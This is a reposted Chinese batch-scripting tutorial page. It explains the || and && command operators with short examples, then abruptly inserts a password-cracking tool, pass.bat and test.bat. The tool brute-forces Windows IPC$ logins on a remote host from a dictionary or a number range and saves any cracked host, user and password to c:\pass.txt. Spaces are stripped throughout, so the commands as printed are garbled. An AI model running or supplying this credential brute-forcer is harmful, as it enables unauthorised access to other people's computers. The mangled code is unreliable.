快速业务通道

又一篇不错的批处理bat学习教程第1/5页

作者 佚名 来源 批处理 浏览 发布时间 2013-07-09
):

dirc:\>a.txt&dird:\>>a.txt

“||”:

这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:

Copycode
@echooff
dirs*.exe||exit

其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dirs*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:


Copycode
@echooff
dirs*.exe||echoDidn''texistfiles*.exe&pause&exit

这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。

给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二。

例二十一:

@echooff
dira.ttt/a&dira.txt||exit

例二十二:

@echooff
dira.ttt/a&&dira.txt||exit

警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!

有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for/?>a.txt&starta.txt完事了(当然这一点上我不能说人家什么,毕竟我连for/?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!
将下列代码存为bat文件
1、如果用字典破解:pass.bat字典文件路径及名称主机用户名
2、如果用数字破解:pass.bat起始数步长结束数主机用户名
密码破解出来之后,存放于c:\pass.txt文件里面。
将下列代码存为pass.bat文件


复制代码 代码如下:

@echooff
echo------------------------------------------------------------------->>c:pass.txt
echo------------------------------------------------------------------->>c:pass.txt
date/t>>c:pass.txt
time/t>>c:pass.txt
echo破解结果:>>c:pass.txt
if"%6"=="1"goto大棒槌是我的说2
:大棒槌是我的说1
start"正在破解"/mincmd/cfor/f%%iin(%1)docalltest.bat%2"%%i"%3
gotoquit
:大棒槌是我的说2
start"正在破解"/mincmd/cfor/l%%iin(%1,%2,%3)docalltest.bat%4"%%i"%5
:quit

将下列代码存为test.bat

复制代码 代码如下:

netuse\%1ipc$%2/user:"%3"
gotoanswer%ERRORLEVEL%
rem%ERRORLEVEL%表示取前一命令执行返回结果,netuse成功返回0,失败返回2
:answer0
echo远程主机:"%1">>c:pass.txt
echo用户:"%3">>c:pass.txt
echo密码:%2>>c:pass.txt
netuse\%1ipc$/delet
exit
:answer2


“For”:
对一组文件中的每个文件运行指定的命令。

可以在批处理程序中或直

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号